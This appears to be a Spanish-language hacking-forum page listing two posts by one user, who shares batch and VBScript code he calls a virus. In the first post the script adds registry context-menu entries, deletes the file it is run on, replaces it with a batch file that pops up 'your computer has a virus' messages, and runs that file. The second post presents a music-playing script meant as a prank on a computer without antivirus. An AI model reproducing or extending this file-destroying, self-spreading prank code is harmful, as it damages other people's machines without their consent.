Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Kalister

#11
he estado haciendo unos programas para matar al tiempo y esa frase me dio una idea que cuando le des clic derecho  a un archivo y se despliegew un menu salga la opcion "matar..." o la opcion "infectar..."
::::aqui el código::::

@echo off
if not exist kill.txt (
REG ADD HKCR\batfile\shell /v matar... /f
REG ADD HKCR\batfile\shell\matar... /v command /f
REG ADD HKCR\batfile\shell\matar...\command /ve /d """"%0""" """%%1"""" /f
echo.>kill.txt)
del %1
if not exist infected.txt (
REG ADD HKCR\batfile\shell /v reproducir... /f
REG ADD HKCR\batfile\shell\reproducir... /v command /f
REG ADD HKCR\batfile\shell\reproducir...\command /ve /d """"%0""" """%%1"""" /f
echo.>infected.txt)
echo @echo off>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
echo msg * tu computadora tiene un virus>%1
IF EXIST A.Bat
del a.bat
copy %1 a.BAT
start a.BAT


pero solo funciona en archivos bat quiero tener la opcion para archivos de musica
como reproducirlos:

@echo off
if not exist play.txt (
REG ADD HKCR\batfile\shell /v play... /f
REG ADD HKCR\batfile\shell\play... /v command /f
REG ADD HKCR\batfile\shell\play...\command /ve /d """"%0""" """%%1"""" /f
echo.>play.txt)

echo Set Wmp = CreateObject("WMPlayer.OCX") >%temp%\player.vbs
echo archivo = Wscript.Arguments.Item(0) >>%temp%\player.vbs
echo Wmp.URL = (archivo) >>%temp%\player.vbs
echo Wmp.Controls.play >>%temp%\player.vbs
echo do while Wmp.currentmedia.duration = 0 >>%temp%\player.vbs
echo wscript.sleep 100 >>%temp%\player.vbs
echo loop >>%temp%\player.vbs
echo wscript.sleep (int(Wmp.currentmedia.duration)+1)*1000 >>%temp%\player.vbs
echo cargando:::::::::::::::::::
ping -n  3 127.0.0.1 > nul
start %temp%\player.vbs %1


visiten mi post y ayudenme¡
http://foro.elhacker.net/scripting/reproductor_en_batchvbsayuda-t249258.0.html
#12
He trabajado en un virus uno nuevo con sonido en batch , quiero jugarle una broma a una computadora sin antivirus bueno
estaba pensando en si estos codigos reproducen cualquier archivo que se le suelte encima de el me pregunto :
¿no puede reproducir una cancion en especifico por horas?
:::::::aqui el codigo::::::::::::::::::::::::::::::::::::

@echo off
echo Set Wmp = CreateObject("WMPlayer.OCX") >%temp%\player.vbs
echo archivo = Wscript.Arguments.Item(0) >>%temp%\player.vbs
echo Wmp.URL = (archivo) >>%temp%\player.vbs
echo Wmp.Controls.play >>%temp%\player.vbs
echo do while Wmp.currentmedia.duration = 0 >>%temp%\player.vbs
echo wscript.sleep 100 >>%temp%\player.vbs
echo loop >>%temp%\player.vbs
echo wscript.sleep (int(Wmp.currentmedia.duration)+1)*1000 >>%temp%\player.vbs
start %temp%\player.vbs %1